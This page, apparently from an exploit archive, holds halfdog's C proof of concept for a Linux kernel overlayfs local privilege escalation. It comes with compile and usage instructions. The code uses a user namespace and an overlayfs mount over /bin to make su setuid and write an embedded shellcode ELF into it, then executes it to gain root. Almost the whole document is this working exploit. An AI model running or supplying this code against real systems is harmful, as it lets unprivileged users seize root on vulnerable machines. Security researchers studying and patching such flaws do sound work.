Linux Kernel overlayfs - Local Privilege Escalation

Credit: halfdog
Risk: Medium
Local: Yes
Remote: No

/** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog <me (%)> * * This program demonstrates how to escalate privileges using * an overlayfs mount within a user namespace. See * * for more information. * * gcc -o UserNamespaceOverlayfsSetuidWriteExec UserNamespaceOverlayfsSetuidWriteExec.c * * Usage: UserNamespaceOverlayfsSetuidWriteExec -- [program] [args] * */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <sys/resource.h> #include <sys/wait.h> #include <unistd.h> extern char **environ; static int childFunc(void *arg) { fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while(geteuid()!=0) { usleep(100); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin"); if(result) { fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno)); return(1); } chdir("/tmp/x/bin"); result=chmod("su", 04777); if(result) { fprintf(stderr, "Mode change failed\n"); return(1); } fprintf(stderr, "Namespace helper waiting for modification completion\n"); struct stat statBuf; char checkPath[128]; sprintf(checkPath, "/proc/%d", getppid()); while(1) { usleep(100); result=stat(checkPath, &statBuf); if(result) { fprintf(stderr, "Namespacer helper: parent terminated\n"); break; } // Wait until parent has escalated. if(statBuf.st_uid) break; } chdir("/"); umount("/tmp/x/bin"); unlink("/tmp/x/over/su"); rmdir("/tmp/x/over"); rmdir("/tmp/x/bin/work"); rmdir("/tmp/x/bin"); rmdir("/tmp/x/"); fprintf(stderr, "Namespace part completed\n"); return(0); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int result; char *targetSuidPath="/bin/su"; char *helperSuidPath="/bin/mount"; for(argPos=1; argPos<argc; argPos++) { char *argName=argv[argPos]; if(!strcmp(argName, "--")) { argPos++; break; } if(strncmp(argName, "--", 2)) { break; } fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName); exit(1); } mkdir("/tmp/x", 0700); mkdir("/tmp/x/bin", 0700); mkdir("/tmp/x/over", 0700); // Create child; child commences execution in childFunc() // CLONE_NEWNS: new mount namespace // CLONE_NEWPID // CLONE_NEWUTS pid_t pid=clone(childFunc, child_stack+STACK_SIZE, CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos); if(pid==-1) { fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno)); return(1); } char idMapFileName[128]; char idMapData[128]; sprintf(idMapFileName, "/proc/%d/setgroups", pid); int setGroupsFd=open(idMapFileName, O_WRONLY); if(setGroupsFd<0) { fprintf(stderr, "Failed to open setgroups\n"); return(1); } result=write(setGroupsFd, "deny", 4); if(result<0) { fprintf(stderr, "Failed to disable setgroups\n"); return(1); } close(setGroupsFd); sprintf(idMapFileName, "/proc/%d/uid_map", pid); fprintf(stderr, "Setting uid map in %s\n", idMapFileName); int uidMapFd=open(idMapFileName, O_WRONLY); if(uidMapFd<0) { fprintf(stderr, "Failed to open uid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); if(result<0) { fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } close(uidMapFd); sprintf(idMapFileName, "/proc/%d/gid_map", pid); fprintf(stderr, "Setting gid map in %s\n", idMapFileName); int gidMapFd=open(idMapFileName, O_WRONLY); if(gidMapFd<0) { fprintf(stderr, "Failed to open gid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); if(result<0) { fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } close(gidMapFd); // Wait until /tmp/x/over/su exists struct stat statBuf; while(1) { usleep(100); result=stat("/tmp/x/over/su", &statBuf); if(!result) break; } // Overwrite the file sprintf(idMapFileName, "/proc/%d/cwd/su", pid); // No slashes allowed, everything else is OK. char suidExecMinimalElf[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08, 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8, 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0, 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80 }; char *helperArgs[]={"/bin/mount", NULL}; int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777); if(destFd<0) { fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno)); return(1); } char *suidWriteNext=suidExecMinimalElf; char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf); while(suidWriteNext!=suidWriteEnd) { char *suidWriteTestPos=suidWriteNext; while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; // We cannot write any 0-bytes. So let seek fill up the file wihh // null-bytes for us. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET); suidWriteNext=suidWriteTestPos; while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; pid_t helperPid=fork(); if(!helperPid) { struct rlimit limits; // We can't truncate, that would remove the setgid property of // the file. So make sure the SUID binary does not write too much. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf; limits.rlim_max=limits.rlim_cur; setrlimit(RLIMIT_FSIZE, &limits); // Do not rely on some SUID binary to print out the unmodified // program name, some OSes might have hardening against that. // Let the ld-loader will do that for us. limits.rlim_cur=1<<22; limits.rlim_max=limits.rlim_cur; result=setrlimit(RLIMIT_AS, &limits); dup2(destFd, 1); dup2(destFd, 2); helperArgs[0]=suidWriteNext; execve(helperSuidPath, helperArgs, NULL); fprintf(stderr, "Exec failed\n"); return(1); } waitpid(helperPid, NULL, 0); suidWriteNext=suidWriteTestPos; } close(destFd); execve(idMapFileName, argv+argPos-1, NULL); fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName, errno, strerror(errno)); return(1); }

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top